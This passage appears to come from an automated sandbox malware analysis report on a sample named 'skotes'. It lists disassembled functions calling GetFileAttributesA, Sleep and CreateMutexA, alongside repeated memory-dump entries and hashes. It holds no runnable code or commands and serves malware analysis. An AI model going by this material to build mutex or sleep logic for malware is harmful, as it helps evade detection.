                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AttributesCreateFileMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 396266464-0
                                                                                                                                                                                                                                                                                    • Opcode ID: a9571bd08833c4352a47f9189b6e2c9c48bd0b0edaa5b5609723b7ceb38ff97b
                                                                                                                                                                                                                                                                                    • Instruction ID: b2ac84444d810556e5d11e31a9aa69bee6b77cd5671f06170dee002020875652
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a9571bd08833c4352a47f9189b6e2c9c48bd0b0edaa5b5609723b7ceb38ff97b
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2B314631744240CBEF08DBB8DD897ADB7B2EFC6315F244718E824AB2D5C77599988712
                                                                                                                                                                                                                                                                                    Function 00159F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetFileAttributesA.KERNEL32(00000000), ref: 00159F47
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064,?), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AttributesCreateFileMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 396266464-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 5cde92d7cd3f375517de7f0e30e03c5fdf62186dab973a5fd7984ea478cca9d7
                                                                                                                                                                                                                                                                                    • Instruction ID: 63c645f35f4fc215fcd2d7479868a8a1fdbe9f3d003dab3c140a1ff5758ff3c3
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5cde92d7cd3f375517de7f0e30e03c5fdf62186dab973a5fd7984ea478cca9d7
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F7318631B80200CBEF089B78DC987ACBB62EFC1315F208719E824EF2C1C77599888712
                                                                                                                                                                                                                                                                                    Function 0015A079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetFileAttributesA.KERNEL32(00000000), ref: 0015A07C
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064,?), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AttributesCreateFileMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 396266464-0
                                                                                                                                                                                                                                                                                    • Opcode ID: c8919b68e74227fd7cc12e34af113838423dd39e4c15a096c593618982bd8909
                                                                                                                                                                                                                                                                                    • Instruction ID: 9d9a2d4976985a5e91dc07e7ddebc85d35c7eaf7e06ef0b2797d28aa58f189fd
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c8919b68e74227fd7cc12e34af113838423dd39e4c15a096c593618982bd8909
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 92316431B90200CBEF089B78DDC9B6CB772EFC1315F648318E8249B2C0C77699888722
                                                                                                                                                                                                                                                                                    Function 0015A1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetFileAttributesA.KERNEL32(00000000), ref: 0015A1B1
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064,?), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AttributesCreateFileMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 396266464-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 93736f34ded2331b009bc89d044a0958dc904bbccf53f795893f172c834881c5
                                                                                                                                                                                                                                                                                    • Instruction ID: 1a41b840f11ae63a04ac61858964ad8961f3e7a1b0fc98e123a715edecaceb81
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 93736f34ded2331b009bc89d044a0958dc904bbccf53f795893f172c834881c5
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 03318831B80200CBEB089B78DDC976CB772EFC6316F608318E8249F2D0C77699888712
                                                                                                                                                                                                                                                                                    Function 0015A2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetFileAttributesA.KERNEL32(00000000), ref: 0015A2E6
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064,?), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
